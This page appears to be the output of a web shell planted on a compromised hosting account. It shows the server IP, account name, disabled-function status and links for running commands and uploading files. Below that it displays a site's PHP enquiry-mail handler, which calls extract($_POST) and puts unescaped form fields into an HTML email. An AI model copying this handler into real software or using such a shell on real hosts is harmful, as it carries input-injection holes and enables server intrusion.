Server IP : 162.214.80.37 / Your IP : 216.73.216.83 Web Server : Apache System : Linux sh013.webhostingservices.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64 User : imyrqtmy ( 2189) PHP Version : 8.2.18 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home2/imyrqtmy/public_html/Careershine/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
<html> <head> <meta charset="utf-8"> <script src="https://unpkg.com/sweetalert/dist/sweetalert.min.js"></script> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/sweetalert/1.1.3/sweetalert.min.css"> <link rel="stylesheet" href="https://sweetalert.js.org/assets/css/app.css"> <script src="https://sweetalert.js.org/assets/sweetalert/sweetalert.min.js"></script> </head> <body> <?php extract($_POST); $html_message = '<h1>New Enquriy Details.</h1>'; $html_message .= '<h3>Product Details.</h3>'; $html_message .= '<p>Product Name : '. $_POST['pname'] .'</p>'; $html_message .= '<p>UnitPrice :'.$_POST['unitprice'].'</p>'; $html_message .= '<p>Quantity :'.$_POST['qty'].'</p>'; $html_message .= '<p>SubTotal :'.$_POST['subtotal'].'</p>'; $html_message .= '<p>Total Price :'.$_POST['totalp'].'</p>'; $html_message .= '<h3>Customer Details.</h3>'; $html_message .= '<p>FIrst Name : '. $_POST['fname'] .'</p>'; $html_message .= '<p>Last Name : '. $_POST['lname'] .'</p>'; $html_message .= '<p>Email :'.$_POST['email'].'</p>'; $html_message .= '<p>Phone Number :'.$_POST['phone'].'</p>'; $to ="info@careershines.com" ; $subject = "Enquriy us"; $header = "MIME-Version: 1.0\r\n"; $header .= "Content-type: text/html\r\n"; $retval = mail ($to,$subject,$html_message,$header); // $SQL = "INSERT INTO tbl_contact set name='$name',email='$email',phno='$phone',subject='$subjects',comment='$message' "; // $result = mysqli_query($con,$SQL); if( $retval == true ) { // echo "<script>; // alert('Mail Send Succesfully'); // window.location.href='index.php'; // </script>"; ?> <script> swal({ title: "Thanks for submitting your application please do check your mail box for further processing", text: "", type: "success", icon: "success" }).then(function() { window.location = "index.php"; }); </script> <?php }else { echo "<script>; alert('Mail Not Send Properly '); window.location.href='index.php'; </script>"; } ?> </body> </html>